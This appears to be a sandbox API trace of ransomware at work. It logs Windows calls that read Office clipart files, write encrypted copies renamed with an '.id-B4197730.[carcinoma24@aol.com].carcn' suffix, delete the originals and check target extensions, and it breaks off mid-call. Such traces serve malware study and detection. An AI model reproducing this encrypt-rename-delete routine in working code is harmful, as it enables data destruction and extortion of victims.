CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0272.485] GetLastError () returned 0x0 [0272.485] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x1750, lpOverlapped=0x0) returned 1 [0272.677] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1760, lpOverlapped=0x0) returned 1 [0272.679] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.679] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.679] SetEndOfFile (hFile=0x54c) returned 1 [0272.679] CloseHandle (hObject=0x54c) returned 1 [0272.680] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.680] SetEndOfFile (hFile=0x53c) returned 1 [0272.683] CloseHandle (hObject=0x53c) returned 1 [0272.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0272.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0272.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.707] lstrlenW (lpString=".doc") returned 4 [0272.707] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.707] lstrlenW (lpString=".docx") returned 5 [0272.707] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.707] lstrlenW (lpString=".pdf") returned 4 [0272.707] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.707] lstrlenW (lpString=".xls") returned 4 [0272.707] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.707] lstrlenW (lpString=".xlsx") returned 5 [0272.707] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.707] lstrlenW (lpString=".ppt") returned 4 [0272.707] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.707] lstrlenW (lpString=".zip") returned 4 [0272.707] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.707] lstrlenW (lpString=".rar") returned 4 [0272.707] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.707] lstrlenW (lpString=".bz2") returned 4 [0272.707] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.707] lstrlenW (lpString=".7z") returned 3 [0272.707] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.707] lstrlenW (lpString=".dbf") returned 4 [0272.707] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.707] lstrlenW (lpString=".1cd") returned 4 [0272.707] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.708] lstrlenW (lpString=".jpg") returned 4 [0272.708] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.708] lstrlenW (lpString=".doc") returned 4 [0272.708] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.708] lstrlenW (lpString=".docx") returned 5 [0272.708] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.708] lstrlenW (lpString=".pdf") returned 4 [0272.708] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.708] lstrlenW (lpString=".xls") returned 4 [0272.708] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.708] lstrlenW (lpString=".xlsx") returned 5 [0272.708] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.708] lstrlenW (lpString=".ppt") returned 4 [0272.708] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.708] lstrlenW (lpString=".zip") returned 4 [0272.708] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.708] lstrlenW (lpString=".rar") returned 4 [0272.708] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.708] lstrlenW (lpString=".bz2") returned 4 [0272.708] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.708] lstrlenW (lpString=".7z") returned 3 [0272.709] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.709] lstrlenW (lpString=".dbf") returned 4 [0272.709] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.709] lstrlenW (lpString=".1cd") returned 4 [0272.709] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0272.709] lstrlenW (lpString=".jpg") returned 4 [0272.709] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.709] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0272.709] lstrlenW (lpString="PAPER_01.MID") returned 12 [0272.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0272.710] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=6763) returned 1 [0272.711] CloseHandle (hObject=0x53c) returned 1 [0272.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220 [0272.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0272.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0272.711] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.711] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0272.712] GetLastError () returned 0x0 [0272.712] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x1a6b, lpOverlapped=0x0) returned 1 [0272.981] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0272.982] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.982] WriteFile (in: hFile=0x54c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.982] SetEndOfFile (hFile=0x54c) returned 1 [0272.984] CloseHandle (hObject=0x54c) returned 1 [0272.987] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.987] SetEndOfFile (hFile=0x53c) returned 1 [0272.994] CloseHandle (hObject=0x53c) returned 1 [0272.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0272.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0272.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0272.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0272.999] lstrlenW (lpString=".doc") returned 4 [0272.999] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.999] lstrlenW (lpString=".docx") returned 5 [0272.999] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.999] lstrlenW (lpString=".pdf") returned 4 [0272.999] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.999] lstrlenW (lpString=".xls") returned 4 [0272.999] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.999] lstrlenW (lpString=".xlsx") returned 5 [0272.999] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.999] lstrlenW (lpString=".ppt") returned 4 [0272.999] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0272.999] lstrlenW (lpString=".zip") returned 4 [0272.999] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.999] lstrlenW (lpString=".rar") returned 4 [0272.999] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.999] lstrlenW (lpString=".bz2") returned 4 [0272.999] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.999] lstrlenW (lpString=".7z") returned 3 [0272.999] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0272.999] lstrlenW (lpString=".dbf") returned 4 [0272.999] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0272.999] lstrlenW (lpString=".1cd") returned 4 [0272.999] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0273.000] lstrlenW (lpString=".jpg") returned 4 [0273.000] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0273.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0273.000] lstrlenW (lpString=".doc") returned 4 [0273.000] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.000] lstrlenW (lpString=".docx") returned 5 [0273.000] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.000] lstrlenW (lpString=".pdf") returned 4 [0273.000] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.000] lstrlenW (lpString=".xls") returned 4 [0273.000] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.000] lstrlenW (lpString=".xlsx") returned 5 [0273.000] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.000] lstrlenW (lpString=".ppt") returned 4 [0273.000] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0273.000] lstrlenW (lpString=".zip") returned 4 [0273.000] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.000] lstrlenW (lpString=".rar") returned 4 [0273.000] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.000] lstrlenW (lpString=".bz2") returned 4 [0273.000] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.000] lstrlenW (lpString=".7z") returned 3 [0273.000] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0273.000] lstrlenW (lpString=".dbf") returned 4 [0273.000] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0273.001] lstrlenW (lpString=".1cd") returned 4 [0273.001] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0273.001] lstrlenW (lpString=".jpg") returned 4 [0273.001] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.001] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.001] lstrlenW (lpString="PARNT_01.MID") returned 12 [0273.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0273.002] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=6491) returned 1 [0273.002] CloseHandle (hObject=0x53c) returned 1 [0273.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220 [0273.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0273.002] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.002] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0273.003] GetLastError () returned 0x0 [0273.003] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x195b, lpOverlapped=0x0) returned 1 [0273.031] WriteFile (in: hFile=0x550, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1960, lpOverlapped=0x0) returned 1 [0273.032] ReadFile (in: hFile=0x53c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.032] WriteFile (in: hFile=0x550, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.032] SetEndOfFile (hFile=0x550) returned 1 [0273.032] CloseHandle (hObject=0x550) returned 1 [0273.032] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.032] SetEndOfFile (hFile=0x53c) returned 1 [0273.034] CloseHandle (hObject=0x53c) returned 1 [0273.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0273.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.036] lstrlenW (lpString=".doc") returned 4 [0273.036] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.036] lstrlenW (lpString=".docx") returned 5 [0273.036] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.036] lstrlenW (lpString=".pdf") returned 4 [0273.036] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.036] lstrlenW (lpString=".xls") returned 4 [0273.036] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.036] lstrlenW (lpString=".xlsx") returned 5 [0273.036] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.036] lstrlenW (lpString=".ppt") returned 4 [0273.036] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.036] lstrlenW (lpString=".zip") returned 4 [0273.036] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.036] lstrlenW (lpString=".rar") returned 4 [0273.036] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.036] lstrlenW (lpString=".bz2") returned 4 [0273.036] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.036] lstrlenW (lpString=".7z") returned 3 [0273.036] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.036] lstrlenW (lpString=".dbf") returned 4 [0273.036] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.036] lstrlenW (lpString=".1cd") returned 4 [0273.036] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.036] lstrlenW (lpString=".jpg") returned 4 [0273.036] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.037] lstrlenW (lpString=".doc") returned 4 [0273.037] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.037] lstrlenW (lpString=".docx") returned 5 [0273.037] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.037] lstrlenW (lpString=".pdf") returned 4 [0273.037] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.037] lstrlenW (lpString=".xls") returned 4 [0273.037] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.037] lstrlenW (lpString=".xlsx") returned 5 [0273.037] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.037] lstrlenW (lpString=".ppt") returned 4 [0273.037] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.037] lstrlenW (lpString=".zip") returned 4 [0273.037] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.037] lstrlenW (lpString=".rar") returned 4 [0273.037] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.037] lstrlenW (lpString=".bz2") returned 4 [0273.037] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.037] lstrlenW (lpString=".7z") returned 3 [0273.037] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.037] lstrlenW (lpString=".dbf") returned 4 [0273.037] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.037] lstrlenW (lpString=".1cd") returned 4 [0273.037] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0273.037] lstrlenW (lpString=".jpg") returned 4 [0273.038] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.038] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.038] lstrlenW (lpString="PARNT_02.MID") returned 12 [0273.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0273.052] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=5714) returned 1 [0273.052] CloseHandle (hObject=0x54c) returned 1 [0273.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220 [0273.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0273.053] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.053] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0273.054] GetLastError () returned 0x0 [0273.054] ReadFile (in: hFile=0x54c, 